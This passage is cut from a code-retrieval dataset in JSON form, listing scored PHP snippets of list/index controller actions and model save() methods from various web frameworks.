/resources/views/vendor/backpack/crud/ if it exists, otherwise load the one in the package\n return view($this->crud->getListView(), $this->data);\n }", "title": "" }, { "docid": "d92ce07568892bbdbac73cfad06a3cff", "score": "0.66963553", "text": "public function index() {\n $rows = Module::paginate(10);\n return View::make(\"CoreCms::module.listing\")->with(\"models\", $rows);\n }", "title": "" }, { "docid": "f38c30f9e765863f55cf5c7e5b441e0a", "score": "0.6695974", "text": "public function listAction()\n {\n $this->_title($this->__('System'))->_title($this->__('Index Management'));\n\n $this->loadLayout();\n $this->_setActiveMenu('system/index');\n $this->renderLayout();\n }", "title": "" }, { "docid": "6302f4af4daf8199c6e51ccba9683ada", "score": "0.6693278", "text": "public function index()\n {\n $flights = Resources::all();\n return view('admin.resource.view', compact('flights'));\n }", "title": "" }, { "docid": "ce01e387a99bc334b00eed748a6952cf", "score": "0.669161", "text": "public function index()\n {\n return $this->respondWithPaginatedCollection(SmartBin::paginate(), $this->smartBinTransformer);\n }", "title": "" }, { "docid": "a852cb19289ccd3ae31b2b0e5320aea1", "score": "0.6691417", "text": "public function index()\n {\n Gate::authorize('view', 'products');\n $product = Product::paginate();\n\n return ProductResource::collection($product);\n }", "title": "" }, { "docid": "d8835f9930d0f9c4f3c53749e67962c3", "score": "0.6685593", "text": "public function listAction() {\n\n // Use the model to get all stored users\n $allUsers = $this->userModel->findAll();\n\n // Creates an array with the information to be displayed\n $userInfo = $this->userInfoBuilder([\n 'update', 'inactivate', 'activate', 'soft-delete', 'undo-delete', 'hard-delete'\n ], $allUsers);\n\n // Display the result in a view\n $this->views->add('user/list-all', [\n 'title' => 'Alla användare',\n 'users' => $userInfo\n ]);\n }", "title": "" }, { "docid": "a656fd3c504977ccfaf035cdddd42150", "score": "0.66812676", "text": "public function listAction() : void {\n $this -> view -> assignMultiple([\n 'server' => $this -> serverRepository -> findAll()\n ]);\n }", "title": "" }, { "docid": "d69e4f0b4187ff68e97b4e7a5d09ad96", "score": "0.6680512", "text": "public function list()\n {\n }", "title": "" }, { "docid": "88a8d702b1375b13dc358eb9e6dfdb8e", "score": "0.66787434", "text": "public function listAction() {\n\t\t$this->view->title = $this->translator->translate(\"Tickets list\");\n\t\t$this->view->description = $this->translator->translate(\"Here you can see all the tickets.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"/admin/tickets/new/\", \"label\" => $this->translator->translate('New'), \"params\" => array('css' => null)));\n\t\t$this->datagrid->setConfig ( Tickets::grid() )->datagrid ();\n\t}", "title": "" }, { "docid": "af48da44bf6d55a059ab53c7dd12c14e", "score": "0.66786623", "text": "public function index()\n {\n $this->authorize('view', $this->repository->modelName());\n\n $resources = $this->repository->filter()->cast();\n\n return $this->responder->ok()->withData($resources)->send();\n }", "title": "" }, { "docid": "a9f952d5e07e7d6d7e049c37f8d2fa2e", "score": "0.667737", "text": "public function listAction(){\n // In a controller this can be:\n // $this->request->getQuery('page', 'int'); // GET\n $currentPage = $this->request->getPost('pageindex', 'int'); // POST\n $pageNum = ($currentPage == null) ? 1 : $currentPage;\n\n // The data set to paginate\n $contact = new Contact();\n $results = $contact->getContact4Admin();\n\n // Create a Model paginator, show 10 rows by page starting from $currentPage\n $paginator = new PaginatorArray(\n array(\n \"data\" => $results,\n \"limit\" => 10,\n \"page\" => $pageNum\n )\n );\n\n // Get the paginated results\n $page = $paginator->getPaginate();\n\n return $this->response->setJsonContent($page);\n\n }", "title": "" }, { "docid": "fcbdc058a31d41050a367e7b15d55776", "score": "0.66733277", "text": "protected function listAction()\n {\n $this->dispatch(EasyAdminMongoOdmEvents::PRE_LIST);\n\n $fields = $this->document['list']['fields'];\n $paginator = $this->mongoOdmFindAll($this->document['class'], $this->request->query->get('page', 1), $this->document['list']['max_results'], $this->request->query->get('sortField'), $this->request->query->get('sortDirection'));\n\n $this->dispatch(EasyAdminMongoOdmEvents::POST_LIST, ['paginator' => $paginator]);\n\n $parameters = [\n 'paginator' => $paginator,\n 'fields' => $fields,\n // RESTRICTED_ACTIONS 'delete_form_template' => $this->createDeleteForm($this->document['name'], '__id__')->createView(),\n ];\n\n return $this->executeDynamicMethod('render<DocumentName>Template', ['list', $this->document['templates']['list'], $parameters]);\n }", "title": "" }, { "docid": "d25f4e517682766596d2c16eca86c7fa", "score": "0.66732645", "text": "public function index()\n {\n return view('resource.index',['resources'=>Resource::all()]);\n }", "title": "" }, { "docid": "f6d989efb8c8e985bb96c0559d9bde67", "score": "0.667212", "text": "public function index()\n\t{\n $listings = Listing::paginate(3);\n return response( $listings,200);\n\t}", "title": "" }, { "docid": "561ee0fde098e9e4a73a2a5669089034", "score": "0.66712075", "text": "public function index()\n {\n // Get employees\n $employees = Employee::latest()->paginate(5);\n\n // Return employees\n return EmployeeResource::collection($employees);\n }", "title": "" }, { "docid": "2a6023a5396366a36aac2f066e03181d", "score": "0.66709393", "text": "public function index()\n {\n $playlists = Playlist::query()\n ->with('author')\n ->latest()\n ->paginate(16);\n return PlaylistResource::collection($playlists);\n }", "title": "" }, { "docid": "f16b067e8febaf73c982ac35e0e11cd0", "score": "0.6658731", "text": "public function index()\n {\n return ActionResource::collection(Action::paginate(5));\n }", "title": "" }, { "docid": "ca2f35e9a4c5b25c7b81f82a26bdc119", "score": "0.66559094", "text": "public function list()\n {\n $books = Book::visible();\n\n return $this->apiListingResponse($books, [\n 'id', 'name', 'slug', 'description', 'created_at', 'updated_at', 'created_by', 'updated_by', 'owned_by',\n ]);\n }", "title": "" }, { "docid": "36f38270af9227d848d8bfe2fc2fb2f6", "score": "0.66512823", "text": "public function index()\n\t{\n\t\t$resources = $this->repository->getResources();\n\t\t$menuTab = $this->menuTab;\n\t\treturn response()->view('admin.resources.index', compact(['resources', 'menuTab']));\n\t}", "title": "" }, { "docid": "842b9bbe43e49f877c207858fd6dd962", "score": "0.66511077", "text": "public function listAction() {\n\t\t$this->view->title = $this->translator->translate(\"Products list\");\n\t\t$this->view->description = $this->translator->translate(\"Here you can see all the products.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"/admin/products/new/\", \"label\" => $this->translator->translate('New'), \"params\" => array('css' => null)));\r\n\t\t$this->datagrid->setConfig ( Products::grid () )->datagrid ();\n\t}", "title": "" }, { "docid": "7654a7b909673402548e3c1d711a6d3b", "score": "0.6646156", "text": "public function list()\n {\n $data = array(\n 'title' => 'Laporan Vclaim',\n 'class_name' => $this->class,\n 'route_name' => $this->routes\n );\n\n $data['contents'] = 'contents/laporan/' . $this->class . '/index';\n $this->load->view('master', $data);\n\n }", "title": "" }, { "docid": "165ffb7039a9dcc6c1d81e1ca64483e4", "score": "0.66448224", "text": "public function index()\n {\n // Get books\n\t $books = Book::orderBy('created_at', 'desc')->paginate(5);\n\n\t return BookResource::collection($books);\n }", "title": "" }, { "docid": "6aae86ba51583240c8fe0f141159a841", "score": "0.664316", "text": "public function index()\n {\n $accountDetail = AccountDetail::all()->sortBy('id');\n return AccountDetailResource::collection($accountDetail);\n }", "title": "" }, { "docid": "10a2b9d6812eccfed7ddcd2d5f7a7eb0", "score": "0.6640271", "text": "public function index()\n {\n $sub_localization_model = SubLocalization::on();\n $this->addUserFilteringToDataFetch($sub_localization_model, 'name', 'where', ['name', 'LIKE']);\n $this->addUserFilteringToDataFetch($sub_localization_model, 'description', 'where', ['description', 'LIKE']);\n $this->addUserFilteringToDataFetch($sub_localization_model, 'localization_id', 'where', ['localization_id', '=']);\n\n return BaseResource::collection($sub_localization_model->get());\n }", "title": "" }, { "docid": "6d76de53bb869e73d429cbb2f319f520", "score": "0.663951", "text": "public function index(Request $request)\n {\n $resources = Resource::where('status', 1);\n\n $request_append = array();\n\n if($request->has('q')) {\n\n $query_string = $request->input('q');\n\n $request_append['q'] = $query_string;\n\n $resources = $resources->where('name', 'LIKE', '%' . $query_string . '%')\n ->orWhere('source_name', 'LIKE', '%' . $query_string . '%')\n ->orWhere('description', 'LIKE', '%' . $query_string . '%');\n }\n\n \n\n $resources = $resources->paginate(env('USER_LIST_PAGINATION_SIZE'))->appends($request_append);\n\n return View('resources.show-resources', compact('resources'));\n }", "title": "" }, { "docid": "d768f601d0b3a2a45a883075e9bd74fa", "score": "0.663936", "text": "public function index()\n {\n $products = Product::latest()->paginate();\n\n return $this->respond(ProductResource::collection($products));\n }", "title": "" }, { "docid": "1863deff5f71e623d3df5630ccdabb09", "score": "0.6633998", "text": "public function indexAction()\n {\n $this->_initAction();\n $this->_title('Items');\n $this->renderLayout();\n }", "title": "" }, { "docid": "701976fee18cc3b85c2b2cb729fee5d7", "score": "0.6633943", "text": "public function display_list(){\r\n\t\t\r\n\t\t$collection = new User_Collection();\r\n\t\t$variables = array(\r\n\t\t\t'collection' => $collection->getPaginated(),\r\n\t\t\t'pagination' => $collection->getPagination(),\r\n\t\t\t'sorters' => $collection->getSortableLinks(),\r\n\t\t);\r\n\t\t\r\n\t\tBackendLayout::get()\r\n\t\t\t->prependTitle('Список пользователей')\r\n\t\t\t->setLinkTags($collection->getLinkTags())\r\n\t\t\t->setContentPhpFile(self::TPL_PATH.'admin_list.php', $variables)\r\n\t\t\t->render();\r\n\t}", "title": "" }, { "docid": "b2f9c5d65d641e65a8807637650b4e37", "score": "0.6633174", "text": "public function index()\n {\n $limit = 0;\n $list_obj = Collection::where('status', 1)->orderBy('created_at', 'DESC')->paginate($limit);\n return view('admin.collection.list')->with('list_obj', $list_obj);\n }", "title": "" }, { "docid": "fbca53bf6960e73cbc1141408c860e37", "score": "0.6629921", "text": "function index()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = $this->_historialModel->getHistorial();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}", "title": "" }, { "docid": "fc175898bd7c35e91f0a34b68f176c7f", "score": "0.6628759", "text": "public function listing()\n\t{\n\t\treturn ADMIN_URL.'/list?item='.$this->get_table();\n\t}", "title": "" }, { "docid": "03690e7a09f22de0d26d268d13653dd8", "score": "0.6626126", "text": "function index(){\n\t\t$this->listar();\n\t}", "title": "" }, { "docid": "da5a6a8e08d78cfa23a7671fa0667dac", "score": "0.66259927", "text": "public function listingAction(){\n if (LoginHelper::isAdmin()){\n $this->view->render('doctor/list', Doctor::all());\n }else{\n Router::redirect('home', '<p class=\"alert alert-danger\">You are not authorized</p>');\n }\n }", "title": "" } ]
06bd6b0ffa74a089099d48f3655028b1
save Save data to the database
[ { "docid": "2c2effc343d00dd0c5250c95fc8765fe", "score": "0.0", "text": "public function save($table,$data)\n {\n $field=\"\";\n $value=\"\";\n foreach ($data as $col=>$val){\n $field.=$col.',';\n $value.=\"'\".$val.\"',\";\n }\n $field = substr($field,0,-1);\n $value = substr($value,0,-1);\n $statement = \"INSERT INTO $table($field) VALUES ($value)\";\n self::$link->query($statement);\n\n return self::$link->lastInsertId();\n }", "title": "" } ]
[ { "docid": "48dbd4f16f8d2333917ee83b31c9e99d", "score": "0.83524346", "text": "public function saveData();", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", "score": "0.8133665", "text": "public function save();", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", "score": "0.8133665", "text": "public function save();", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", "score": "0.8133665", "text": "public function save();", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", "score": "0.8133665", "text": "public function save();", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", "score": "0.8133665", "text": "public function save();", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", "score": "0.8133665", "text": "public function save();", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", "score": "0.8133665", "text": "public function save();", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", "score": "0.8133665", "text": "public function save();", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", "score": "0.8133665", "text": "public function save();", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", "score": "0.8133665", "text": "public function save();", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", "score": "0.8133665", "text": "public function save();", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", "score": "0.8133665", "text": "public function save();", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", "score": "0.8133665", "text": "public function save();", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", "score": "0.8133665", "text": "public function save();", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", "score": "0.8133665", "text": "public function save();", "title": "" }, { "docid": "bae20704be7521fe62d2274ae793b571", "score": "0.798763", "text": "function save()\n\t\t{\n\n\t\t}", "title": "" }, { "docid": "754e98e90b2e45d6923dd1ed4ab44720", "score": "0.79306704", "text": "public function saveToDb()\n {\n }", "title": "" }, { "docid": "0981e73f5d0ea2794530b5049677f8e7", "score": "0.7925032", "text": "public function save()\n {\n self::$database->insert(static::getTable(), static::prepareParams());\n }", "title": "" }, { "docid": "cb22abd6aa635f0f271b08c6ffcbe606", "score": "0.79095864", "text": "public function save($data);", "title": "" }, { "docid": "badc5651fc2c239b84a843e2f76b6cb6", "score": "0.78541887", "text": "public function save() {\r\n\t }", "title": "" }, { "docid": "b47d67d4db0722b4f6259a5e6e524f42", "score": "0.7845464", "text": "public function save()\n {\n $this->_insert();\n }", "title": "" }, { "docid": "8a3c8228b91bd591328b2d6fe56206de", "score": "0.7824582", "text": "public function save ();", "title": "" }, { "docid": "e85b64c7b4a64f9c444d836f09a3b367", "score": "0.7815047", "text": "public function save()\n\t\t {\n\n\t\t }", "title": "" }, { "docid": "216923aee9794947cdbb7307b242156c", "score": "0.7775338", "text": "public function Save();", "title": "" }, { "docid": "848468554b23deeac257683ff9772695", "score": "0.7760598", "text": "public function save()\n\t{\n\t\t$this->dataobj->setData('dismissed', $this->dismissed);\n\t\t$this->dataobj->setData('finished', $this->finished);\n\t\t$this->dataobj->setData('hide_all', $this->hide_all);\n\n\t\tApp::getOrm()->persist($this->dataobj);\n\t\tApp::getOrm()->flush($this->dataobj);\n\t}", "title": "" }, { "docid": "70a7c7d0fdb7805404b5fe65fa0c173e", "score": "0.7753185", "text": "function save() {\n \n \t//$this->saveData();\n \t$this->getMapper()->save($this);\n\t\t\n \t}", "title": "" }, { "docid": "e6562eb0e3377aaef2bb415fd0cc8933", "score": "0.7738755", "text": "public function save() {\n $db = Db::instance();\n // omit id and any timestamps\n $db_properties = array(\n 'title' => $this->title,\n 'code' => $this->code,\n 'level' => $this->level,\n 'logo_url' => $this->logo_url,\n 'creator_id' => $this->creator_id\n );\n $db->store($this, __CLASS__, self::DB_TABLE, $db_properties);\n }", "title": "" }, { "docid": "2f17e7bf7fdcb210103a1305e142de10", "score": "0.7722274", "text": "public function saveDatabase()\n\t{\n\t\t$this->save();\n\t}", "title": "" }, { "docid": "5bc11fdd21ac077655fea5ab82f82bc5", "score": "0.7718423", "text": "public function save()\r\n\t{\r\n\t\tif (is_null($this->getDataStruct()->id)) {\r\n\t\t\t$this->getDataStruct()->id = $this->getDataProvider()->insert($this->getDataStruct());\r\n\t\t} else {\r\n\t\t\t$this->getDataProvider()->update($this->getDataStruct());\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "f3bdf0de1b775c71c83669c1234d50f3", "score": "0.7699326", "text": "public function save()\n\t{\n // @TODO: Ensure there are attributes before attempting to save\n\t\tif(isset($this->attributes)) {\n // @TODO: Perform the proper action - if the `id` is set, this is an update, if not it is a insert\n // @TODO: Ensure that update is properly handled with the id key\n\t\t\tif (isset($this->attributes['id'])) {\n\t\t\t\t$this->update();\n\t\t\t} else {\n\t\t\t\t$this->insert();\n\t\t\t}\n\t\t}\n\t\t/*need for when add data, need new connection to save it*/\n\t\tself::dbConnect();\n\t}", "title": "" }, { "docid": "80d742fe50653192ed46a987d5aed5f1", "score": "0.7656609", "text": "function save() {\n $this->dbh->TransactionBegin();\n $query =\n \"INSERT INTO miestnost (nazov, kapacita, poznamka, id_miestnost_typ)\n\t\t\t VALUES ($1, $2, $3, $4)\";\n $this->dbh->query($query, array(\n $this->nazov, $this->kapacita, $this->poznamka, $this->id_miestnost_typ\n ));\n $id = $this->dbh->GetLastInsertID();\n foreach ($this->vybavenie as $eq) {\n $query =\n \"INSERT INTO vybavenie_miestnost (id_miestnost,id_vybavenie)\n \t VALUES ($1, $2)\";\n $this->dbh->query($query, array($id, $eq));\n }\n $this->dbh->TransactionEnd();\n }", "title": "" }, { "docid": "f33f1ef3b43a0304421c7ce99cd44159", "score": "0.76403606", "text": "public function save() {\n $clause = '';\n $placeholders = [];\n foreach ($this->params as $key => $value) {\n $clause .= '`' . $key . '`=' . $key ;\n $placeholders[':' . $key] = $value;\n }\n $db = Application::$app->getDb();\n if (!empty($this->params[$this->primaryKey])) {\n $stmt = $db->prepare(\n 'UPDATE `' . $this->tableName . '` SET `'\n . $clause . '` WHERE `'\n . $this->primaryKey . '`=`'\n . $this->params[$this->primaryKey] . '`'\n );\n } else {\n $stmt = $db->prepare(\n 'INSERT INTO `' . $this->tableName . '` (`' . implode('`,`' ,array_keys($this->params)) . '`) VALUES('\n . implode(',', array_keys($placeholders)) . ')'\n );\n }\n $stmt->execute($placeholders);\n }", "title": "" }, { "docid": "02325d482754f1ff67a453105ba6d1be", "score": "0.75921834", "text": "abstract public function save();", "title": "" }, { "docid": "02325d482754f1ff67a453105ba6d1be", "score": "0.75921834", "text": "abstract public function save();", "title": "" }, { "docid": "02325d482754f1ff67a453105ba6d1be", "score": "0.75921834", "text": "abstract public function save();", "title": "" }, { "docid": "02325d482754f1ff67a453105ba6d1be", "score": "0.75921834", "text": "abstract public function save();", "title": "" }, { "docid": "02325d482754f1ff67a453105ba6d1be", "score": "0.75921834", "text": "abstract public function save();", "title": "" }, { "docid": "02325d482754f1ff67a453105ba6d1be", "score": "0.75921834", "text": "abstract public function save();", "title": "" }, { "docid": "94c0c51d61220f71c7991b1707b089a6", "score": "0.7591752", "text": "public function dbSave($saveData);", "title": "" }, { "docid": "7c18079397ed22b25460b38ecada3a26", "score": "0.7584504", "text": "public function save() {\n $db = Settings::getInstance()->getDbInterface();\n if (empty($this->id)) {\n $sql = $db->getInsertSql(static::getTableDef(), $this->mapToArray());\n $db->execute($sql);\n $this->id = $db->getInsertId();\n } else {\n $sql = $db->getUpdateSql(static::getTableDef(), $this->mapToArray());\n $db->execute($sql);\n }\n }", "title": "" }, { "docid": "504d7a44723df69ccb935d9496c96d02", "score": "0.75740457", "text": "public function save(){\n if ($this->isNewRecord) {\n $results = DBConnection::getInstance()->getDBCommand()->insert($this->columns,$this->getTableName(), $this->primaryKey);\n }else{\n //Si no, update\n $results = DBConnection::getInstance()->getDBCommand()->update($this->columns,$this->getTableName(), $this->primaryKey);\n }\n \n }", "title": "" }, { "docid": "69815e9790c7a5522b39c804e3fda1e4", "score": "0.7573036", "text": "function save();", "title": "" }, { "docid": "356511ce86cccdb700fe6d807972fed7", "score": "0.75400597", "text": "function save_to_database (): void {\n $db = $this->getDatabase();\n\n $id = $this->id ? \"'\" . $db->escape($this->id) . \"'\" : 'NULL';\n $perso_id = $db->escape($this->perso_id);\n $text = $db->escape($this->text);\n $date = $db->escape($this->date);\n\n $sql = \"REPLACE INTO \" . TABLE_MOTD . \" (`motd_id`, `perso_id`, `motd_text`, `motd_date`) VALUES ($id, '$perso_id', '$text', '$date')\";\n if (!$db->query($sql)) {\n message_die(SQL_ERROR, \"Unable to save\", '', __LINE__, __FILE__, $sql);\n }\n }", "title": "" }, { "docid": "90a89c1c8b3894700a8f9328e0bc7d62", "score": "0.7508342", "text": "public abstract function save();", "title": "" }, { "docid": "6f82637e3fa49a01dec474648877a675", "score": "0.74932414", "text": "public function save()\n {\n if (! $this->saved) {\n $this->handler->write($this->getId(), serialize($this->data));\n $this->saved = true;\n }\n }", "title": "" }, { "docid": "2a373fbd0544eab5ec8a03e7f323437c", "score": "0.74909496", "text": "abstract public function saveDB();", "title": "" }, { "docid": "f79ea886493ba577ae0040a266787187", "score": "0.7461007", "text": "public function save(){\n $db = Db::instance();\n\n $db_properties = array(\n 'userId' => $this->userId,\n 'timestamp' => $this->timestamp,\n 'title' => $this->title,\n 'description' => $this->description,\n 'ratingId' => $this->ratingId,\n 'tag' => $this->tag,\n 'pinned' => $this->pinned,\n 'forumId' => $this->forumId\n );\n\n $db->store($this, __CLASS__, self::DB_TABLE, $db_properties);\n }", "title": "" }, { "docid": "dbef20cdb1659b9d2a3629eb7b7c50cb", "score": "0.74515224", "text": "public function save($data)\n {\n // code...\n }", "title": "" }, { "docid": "36fafaa2b23cea0d941859823e55d3bc", "score": "0.7449672", "text": "public function save(){\r\n if($this->id){\r\n $data = $this->gtData;\r\n $where['id = ?'] = $this->id;\r\n $this->update($data,$where);\r\n } else{\r\n $data = $this->gtData;\r\n $this->id = $this->insert($data);\r\n\t\t\t\r\n }\r\n }", "title": "" }, { "docid": "958ad04e43dd052d7c4310e61b938dca", "score": "0.7432599", "text": "public function save(){\n $db = Db::instance();\n\n $db_properties = array(\n 'title' => $this->title,\n 'link' => $this->link,\n 'userId' => $this->userId,\n 'timestamp' => $this->timestamp,\n 'ratingId' => $this->ratingId,\n 'groupId' => $this->groupId\n );\n\n $db->store($this, __CLASS__, self::DB_TABLE, $db_properties);\n }", "title": "" }, { "docid": "243eead2a036def54f9d8932c245c92f", "score": "0.74195695", "text": "public function save() {\n if(!$this->id) {\n $this->create();\n } else {\n $this->update();\n }\n }", "title": "" }, { "docid": "5cf5532a5da81af302a1fb9a01d3ed1b", "score": "0.7414006", "text": "public function save() {\n if (!$this->get_id()) {\n $this->unique_id();\n }\n $record = $this->to_array();\n drupal_write_record($this->db_table, $record, !empty($this->storage) ? $this->get_primary_key() : array());\n }", "title": "" }, { "docid": "5c09d898c78420539a2da1503a24d85b", "score": "0.7383434", "text": "public function save()\n {\n // Ensure there are values in the attributes array before attempting to save\n // Call the proper database method: if the `id` is set this is an update, else it is a insert\n if(isset($this->attributes['id']))\n {\n $this->update();\n }\n else\n {\n $this->insert();\n }\n }", "title": "" }, { "docid": "f41a103e0951e61aa6bef10b99fc221b", "score": "0.73819447", "text": "public function save() {\n if (is_null($this->id)) {\n\t\t\t$this->id = Db::instance()->insert($this->getTable(), (array)$this);\n\t\t} else {\n\t\t\tDb::instance()->update($this->getTable(), $this->id, (array)$this);\n\t\t}\n }", "title": "" }, { "docid": "954c2eae8a7163328609513b688722ed", "score": "0.73704183", "text": "public function save() {\n }", "title": "" }, { "docid": "cddad4654b3471d5f6585567cce04704", "score": "0.7370202", "text": "public function save()\n {\n $this->uow->save();\n }", "title": "" }, { "docid": "8956439159b223972a2d0c6f17506e48", "score": "0.7366174", "text": "public function saving()\n {\n // ..\n }", "title": "" }, { "docid": "0a67f9abea44ef2ee906f1421a509343", "score": "0.73438334", "text": "public function save(){\n if (isset($this->{$this::DB_TABLE_PK_VALUE})){\n $this->update();\n }else{\n $this->insert();\n }\n }", "title": "" }, { "docid": "6d20aa84661351e4924a89a0b9b71329", "score": "0.7332196", "text": "abstract protected function save();", "title": "" }, { "docid": "0bc3d8ca588ba4f614d58340b10bbb67", "score": "0.7315539", "text": "public function save(): void;", "title": "" }, { "docid": "9b2a4e3b1c6c1078593216b17c7fd4e8", "score": "0.73050886", "text": "public function save()\n {\n if(!empty($this->attributes)) {\n if(isset($this->attributes['id'])) {\n $this->update($this->attributes['id']);\n } else {\n $this->insert();\n }\n }\n }", "title": "" }, { "docid": "7dbf5bf7615859ed58ffe89515d7accb", "score": "0.7303328", "text": "public function save()\n {\n if (isset($this->attributes)){\n \n if (isset($this->attributes['id'])){\n // Perform the proper action - if the `id` is set, this is an update, if not it is a insert\n $this->update();\n } else {\n $this->insert();\n }\n }\n }", "title": "" }, { "docid": "0cdb10638ec166eb3749df99c3e8cf24", "score": "0.7294925", "text": "public function save() {\r\n\t\tif($this->id) {\r\n\t\t\t$sql = \"UPDATE \".self::$_table.\" SET \";\r\n\t\t\tforeach($this as $field => $value) {\r\n\t\t\t if($field[0] == '_')\r\n\t\t\t continue;\r\n\t\t\t $sql .= self::$_prefix.\"_\".$field.\"=\";\r\n\t\t\t if($value === null)\r\n\t\t\t $sql .= \"NULL\";\r\n\t\t\t else if(is_string($value))\r\n\t\t\t $sql .= \"\\\"\".addslashes($value).\"\\\"\";\r\n\t\t\t else\r\n\t\t\t $sql .= $value;\r\n\t\t\t $sql .= \",\";\r\n\t\t\t}\r\n\t\t\t$sql = rtrim($sql, \",\");\r\n\t\t\t$sql .= \" WHERE \" . self::$_prefix . \"_id=\" . $this->id;\r\n\t\t\tDatabase::instance()->update($sql);\r\n\t\t} else {\r\n\t\t\t$sql = \"INSERT INTO \".self::$_table.\"(\";\r\n\t\t\tforeach($this as $field => $value) {\r\n\t\t\t if($field[0] == '_')\r\n\t\t\t continue;\r\n\t\t\t $sql .= self::$_prefix.\"_\".$field.\",\";\r\n\t\t\t if($value === null)\r\n\t\t\t $sqlx .= \"NULL,\";\r\n\t\t\t else if(is_string($value))\r\n\t\t\t $sqlx .= \"\\\"\".addslashes($value).\"\\\",\";\r\n\t\t\t else\r\n\t\t\t $sqlx .= $value.\",\";\r\n\t\t\t}\r\n\t\t\t$sql = rtrim($sql, \",\");\r\n\t\t\t$sqlx = rtrim($sqlx, \",\");\r\n\t\t\t$sql .= \") VALUES(\".$sqlx.\")\";\r\n\t\t\t$this->id = Database::instance()->insert($sql);\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "8759f7709a3d05046b2ec1ab6c1ff475", "score": "0.72735685", "text": "public function store_in_db()\n {\n }", "title": "" }, { "docid": "723d200ae21f4b18df8e59568e0996c2", "score": "0.7268055", "text": "public function save()\n {\n // Ensure there are attributes before attempting to save\n // if the `id` is set, this is an update, if not it is a insert\n if (!empty($this->attributes['id'])) {\n \n $this->update();\n\n } else {\n\n $this->insert();\n }\n\n }", "title": "" }, { "docid": "162f067b97e2580f80b31c9a1241db3a", "score": "0.72629863", "text": "public function save()\n {\n }", "title": "" }, { "docid": "1bf2c0abe906af0554bb7e47a9fa204f", "score": "0.72523254", "text": "public function save ()\r\n {\r\n if ($this->_old)\r\n $this->update ();\r\n else\r\n $this->create ();\r\n }", "title": "" }, { "docid": "e5541d2f54432b568d896dd1ad683370", "score": "0.7240605", "text": "public function save() {\n $db = Db::instance();\n // omit id and any timestamps\n $db_properties = array(\n 'id' => $this->id,\n 'deal_id' => $this->deal_id,\n\t\t\t'user_id' => $this->user_id,\n 'review' => $this->review,\n 'rating' => $this->rating,\n 'added_time' => $this->added_time\n );\n $db->store($this, __CLASS__, self::DB_TABLE, $db_properties);\n }", "title": "" }, { "docid": "0e6ebdce7b5e7a8af0179721f7723efa", "score": "0.7226159", "text": "function saveData(){\n if(!$this->__db) die();\n\t\tforeach($this->flatVars($this) as $key => $val)\n\t\t\tif(!$this->__db->setVar($this->__name,$key,$val))\n\t\t\t\tprint $this->__db->lastErrorMsg();\t\n\t}", "title": "" }, { "docid": "d75d9442ca6c075cf07776a6a9b56712", "score": "0.72242075", "text": "public function save()\n {\n $this->_record->title = $this->title;\n $this->_record->description = $this->description;\n $this->_record->tpl = $this->tpl;\n $savePath = trim($this->_pathNested . '/' . $this->path, '/');\n $this->_record->path = $savePath;\n $this->_record->configs = $this->configs;\n $this->_record->save();\n }", "title": "" }, { "docid": "94fd0ada9bc3c0be1836b7a1677624e7", "score": "0.72000885", "text": "public function Save () {\n $conditions = array('id' => $this->id, 'name' => $this->name);\n parent::SaveToDatabase($conditions);\n }", "title": "" }, { "docid": "a75a443a0086f0b4b942a12f8a672f7b", "score": "0.7165164", "text": "public function save()\n\t{\n\t\t$query = $this->_getQueryDriver();\n\n\t\t//Get variables\n\t\t$this->merge();\n\t\t$vars = $this->getQuery();\n\n\t\t//Check if id is set\n\t\tif($this->_idVal !== NULL)\n\t\t\t$vars[self::$_ID_KEYS[get_called_class()]] = $this->_driver->convertModelDataTypeToNativeDataType($this->_idVal);\n\n\t\t//Save using the Query Driver\n\t\t$id = $query->save($vars);\n\n\t\t//Get id an set it to model\n\t\tif($this->_idVal === NULL)\n\t\t\t$this->_idVal = $id;\n\t}", "title": "" }, { "docid": "3ebfeef062112dc38327bedd0b223260", "score": "0.71624094", "text": "function save(){\n\t\tglobal $deal_controller;\n\t\t$deal_controller->load_script($deal_controller->get_path('/classes/db.php'), 'class', 'DealImportDb');\n\t\t\n\t\t$a_deal = new DealImportDb();\n\t\t$deal_id = $a_deal->insert_deal($this->deal_id, $this->post_title, $this->post_content, $this->end_date);\n\t\t$a_deal->insert_deal_meta($deal_id, $this->meta_info);\t\t\n\t}", "title": "" }, { "docid": "9ab34432ead06fbfc38bb09e9138ccfb", "score": "0.71563286", "text": "public function save()\n {\n // Let's check if anything has changed to prevent unnecessary database calls\n if(count($this->changeObj) > 0 ){ \n $this->changeObj['edited'] = date('Y-m-d H:i:s');\n $this->changeObj['editor'] = 0; // This can be attached to a userID\n $GLOBALS['db']->update($this->myTable, $this->changeObj, $this->myID . '=' . $this->id);\n\n unset($changeObj);\n $changeObj = array();\n }\n }", "title": "" }, { "docid": "9dc20c515b06d7f3eba8bcd40ee86ba2", "score": "0.7152297", "text": "function save() {\n\t\t// Check the preconditions\n\t\t$this->checkId();\n\t\t\n\t\t// Build the query\n\t\t$query = new InsertUpdateQuery($this->db);\n\t\t$query->setTable('abstract_affiliation');\n\t\tforeach ($this->data as $col => $val) {\n\t\t\t$query->setColumn($col, $val, self::$columnTypes[$col][0]);\n\t\t}\n\t\t\n\t\t// Run it\n\t\t$query->execute();\n\t}", "title": "" }, { "docid": "d2f493966d8d1cce9f3b495f74422913", "score": "0.7138592", "text": "function save() {\n\t\t// Check the 